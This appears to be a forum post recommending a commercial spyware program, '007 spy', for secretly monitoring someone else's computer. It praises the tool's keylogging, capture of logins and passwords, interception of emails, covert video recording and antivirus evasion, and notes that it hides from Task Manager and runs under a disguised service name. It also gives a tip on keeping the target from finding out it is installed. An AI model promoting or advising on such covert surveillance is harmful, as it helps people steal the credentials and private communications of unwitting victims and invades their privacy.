I've had to research this before. I now exclusively use 007 spy with all clients who request something of that nature.
Here's the download to the demo. It does damn near everything. Most importantly it sends you daily emails including what websites they've been to. recorded video of any supicious behavior (you get to set the rules). Any time they open a certain program. Emails they send and receive. Everything they type and all their logins and passwords to stuff. It's pretty well organized as apposed to trying to decipher a long log file of jibberish. It also never gets detected by antivirus programs and can't be seen in taskman or add/remove programs. Although it does show up under services.msc but under another name.
Spy Software - 007 Computer Spy Program and Internet Monitoring Software
very important! make the $40 purchase before installing it on their system. When the demo expires it alerts them and lets them know its on the computer.